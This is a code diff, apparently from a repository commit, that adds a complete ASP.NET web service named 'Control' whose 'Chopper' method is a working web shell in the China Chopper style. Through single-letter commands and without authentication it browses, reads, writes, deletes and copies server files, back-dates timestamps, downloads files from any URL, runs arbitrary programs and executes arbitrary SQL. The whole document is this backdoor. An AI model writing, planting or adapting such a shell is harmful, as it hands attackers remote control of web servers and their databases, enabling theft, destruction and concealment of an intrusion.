1
+ <%@ WebService Language="C#" Class="Control" %>
2
+ using System;
3
+ using System.Web;
4
+ using System.IO;
5
+ using System.Net;
6
+ using System.Text;
7
+ using System.Data;
8
+ using System.Data.SqlClient;
9
+ using System.Collections.Generic;
10
+ using System.Diagnostics;
11
+ using System.Web.SessionState;
12
+ using System.Web.Services;
13
+ using System.Xml;
14
+ using System.Web.Services.Protocols;
15
+
16
+ [WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")]
17
+ [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
18
+
19
+ [Serializable]
20
+ public class Control : MarshalByRefObject
21
+ {
22
+ public Control()
23
+ {
24
+
25
+ }
26
+ [WebMethod(Description="Customize Script")]
27
+ public string Chopper(String z, String z1, String z2, String z3) {
28
+ String Z = z;
29
+ String result = "";
30
+ if (Z != "")
31
+ {
32
+ String Z1 = z1;
33
+ String Z2 = z2;
34
+ String Z3 = z3;
35
+ String R = "";
36
+ try
37
+ {
38
+ switch (Z)
39
+ {
40
+ case "A":
41
+ {
42
+ String[] c = Directory.GetLogicalDrives();
43
+ R = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/"));
44
+ for (int i = 0; i < c.Length; i++)
45
+ R += c[i][0] + ":";
46
+ break;
47
+ }
48
+ case "B":
49
+ {
50
+ DirectoryInfo m = new DirectoryInfo(Z1);
51
+ foreach (DirectoryInfo D in m.GetDirectories())
52
+ {
53
+ R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
54
+ }
55
+ foreach (FileInfo D in m.GetFiles())
56
+ {
57
+ R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
58
+ }
59
+ break;
60
+ }
61
+ case "C":
62
+ {
63
+ StreamReader m = new StreamReader(Z1, Encoding.Default);
64
+ R = m.ReadToEnd();
65
+ m.Close();
66
+ break;
67
+ }
68
+ case "D":
69
+ {
70
+ StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
71
+ m.Write(Z2);
72
+ R = "1";
73
+ m.Close();
74
+ break;
75
+ }
76
+ case "E":
77
+ {
78
+ if (Directory.Exists(Z1))
79
+ {
80
+ Directory.Delete(Z1, true);
81
+ }
82
+ else
83
+ {
84
+ File.Delete(Z1);
85
+ }
86
+ R = "1";
87
+ break;
88
+ }
89
+ case "F":
90
+ {
91
+ result += "\x2D\x3E\x7C";
92
+ HttpContext.Current.Response.WriteFile(Z1);
93
+ result += "\x7C\x3C\x2D";
94
+ return result;
95
+ }
96
+ case "G":
97
+ {
98
+ byte[] B=new byte[Z2.Length/2];
99
+ for (int i=0;i<Z2.Length;i+=2)
100
+ {
101
+ B[i/2]=(byte)Convert.ToInt32(Z2.Substring(i,2),16);
102
+ }
103
+ if (Z3=="0" || Z3==null)
104
+ {
105
+ FileStream fs=new FileStream(Z1,FileMode.Create);
106
+ fs.Write(B,0,B.Length);
107
+ fs.Close();
108
+ }
109
+ else
110
+ {
111
+ FileStream fs=new FileStream(Z1,FileMode.Append);
112
+ fs.Write(B,0,B.Length);
113
+ fs.Close();
114
+ }
115
+ R="1";
116
+ break;
117
+ }
118
+ case "H":
119
+ {
120
+ CP(Z1, Z2);
121
+ R = "1";
122
+ break;
123
+ }
124
+ case "I":
125
+ {
126
+ if (Directory.Exists(Z1))
127
+ {
128
+ Directory.Move(Z1, Z2);
129
+ }
130
+ else
131
+ {
132
+ File.Move(Z1, Z2);
133
+ }
134
+ break;
135
+ }
136
+ case "J":
137
+ {
138
+ Directory.CreateDirectory(Z1);
139
+ R = "1";
140
+ break;
141
+ }
142
+ case "K":
143
+ {
144
+ DateTime TM = Convert.ToDateTime(Z2);
145
+ if (Directory.Exists(Z1))
146
+ {
147
+ Directory.SetCreationTime(Z1, TM);
148
+ Directory.SetLastWriteTime(Z1, TM);
149
+ Directory.SetLastAccessTime(Z1, TM);
150
+ }
151
+ else
152
+ {
153
+ File.SetCreationTime(Z1, TM);
154
+ File.SetLastWriteTime(Z1, TM);
155
+ File.SetLastAccessTime(Z1, TM);
156
+ }
157
+ R = "1";
158
+ break;
159
+ }
160
+ case "L":
161
+ {
162
+ HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
163
+ RQ.Method = "GET";
164
+ RQ.ContentType = "application/x-www-form-urlencoded";
165
+ HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
166
+ Stream WF = WB.GetResponseStream();
167
+ FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
168
+ int i;
169
+ byte[] buffer = new byte[1024];
170
+ while (true)
171
+ {
172
+ i = WF.Read(buffer, 0, buffer.Length);
173
+ if (i < 1)
174
+ {
175
+ break;
176
+ }
177
+ FS.Write(buffer, 0, i);
178
+ }
179
+ WF.Close();
180
+ WB.Close();
181
+ FS.Close();
182
+ R = "1";
183
+ break;
184
+ }
185
+ case "M":
186
+ {
187
+ ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
188
+ Process e = new Process();
189
+ StreamReader OT, ER;
190
+ c.UseShellExecute = false;
191
+ c.RedirectStandardOutput = true;
192
+ c.RedirectStandardError = true;
193
+ e.StartInfo = c;
194
+ c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
195
+ e.Start();
196
+ OT = e.StandardOutput;
197
+ ER = e.StandardError;
198
+ e.Close();
199
+ R = OT.ReadToEnd() + ER.ReadToEnd();
200
+ break;
201
+ }
202
+ case "N":
203
+ {
204
+ String strDat = Z1.ToUpper();
205
+ SqlConnection Conn = new SqlConnection(Z1);
206
+ Conn.Open();
207
+ R = Conn.Database + "\t";
208
+ Conn.Close();
209
+ break;
210
+ }
211
+ case "O":
212
+ {
213
+ String[] x = Z1.Replace("\r", "").Split('\n');
214
+ String strConn = x[0], strDb = x[1];
215
+ SqlConnection Conn = new SqlConnection(strConn);
216
+ Conn.Open();
217
+ DataTable dt = Conn.GetSchema("Columns");
218
+ Conn.Close();
219
+ for (int i = 0; i < dt.Rows.Count; i++)
220
+ {
221
+ R += String.Format("{0}\t", dt.Rows[i][2].ToString());
222
+ }
223
+ break;
224
+ }
225
+ case "P":
226
+ {
227
+ String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
228
+ String strConn = x[0], strDb = x[1], strTable = x[2];
229
+ p[0] = strDb;
230
+ p[2] = strTable;
231
+ SqlConnection Conn = new SqlConnection(strConn);
232
+ Conn.Open();
233
+ DataTable dt = Conn.GetSchema("Columns", p);
234
+ Conn.Close();
235
+ for (int i = 0; i < dt.Rows.Count; i++)
236
+ {
237
+ R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
238
+ }
239
+ break;
240
+ }
241
+ case "Q":
242
+ {
243
+ String[] x = Z1.Replace("\r", "").Split('\n');
244
+ String strDat, strConn = x[0], strDb = x[1];
245
+ int i, c;
246
+ strDat = Z2.ToUpper();
247
+ SqlConnection Conn = new SqlConnection(strConn);
248
+ Conn.Open();
249
+ if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
250
+ {
251
+ SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
252
+ DataSet ds = new DataSet();
253
+ OD.Fill(ds);
254
+ if (ds.Tables.Count > 0)
255
+ {
256
+ DataRowCollection rows = ds.Tables[0].Rows;
257
+ for (c = 0; c < ds.Tables[0].Columns.Count; c++)
258
+ {
259
+ R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
260
+ }
261
+ R += "\r\n";
262
+ for (i = 0; i < rows.Count; i++)
263
+ {
264
+ for (c = 0; c < ds.Tables[0].Columns.Count; c++)
265
+ {
266
+ R += String.Format("{0}\t|\t", rows[i][c].ToString());
267
+ }
268
+ R += "\r\n";
269
+ }
270
+ }
271
+ ds.Clear();
272
+ ds.Dispose();
273
+ }
274
+ else
275
+ {
276
+ SqlCommand cm = Conn.CreateCommand();
277
+ cm.CommandText = Z2;
278
+ cm.ExecuteNonQuery();
279
+ R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
280
+ }
281
+ Conn.Close();
282
+ break;
283
+ }
284
+ default: goto End;
285
+ }
286
+ }
287
+ catch (Exception E)
288
+ {
289
+ R = "ERROR:// " + E.Message;
290
+ }
291
+ result += "\x2D\x3E\x7C" + R + "\x7C\x3C\x2D";
292
+ End: ;
293
+ }
294
+ return result;
295
+ }
296
+ public void CP(String S, String D)
297
+ {
298
+ if (Directory.Exists(S))
299
+ {
300
+ DirectoryInfo m = new DirectoryInfo(S);
301
+ Directory.CreateDirectory(D);
302
+ foreach (FileInfo F in m.GetFiles())
303
+ {
304
+ File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
305
+ }
306
+ foreach (DirectoryInfo F in m.GetDirectories())
307
+ {
308
+ CP(S + "\\" + F.Name, D + "\\" + F.Name);
309
+ }
310
+ }
311
+ else
312
+ {
313
+ File.Copy(S, D);
314
+ }
315
+ }
316
+ }
0 commit comments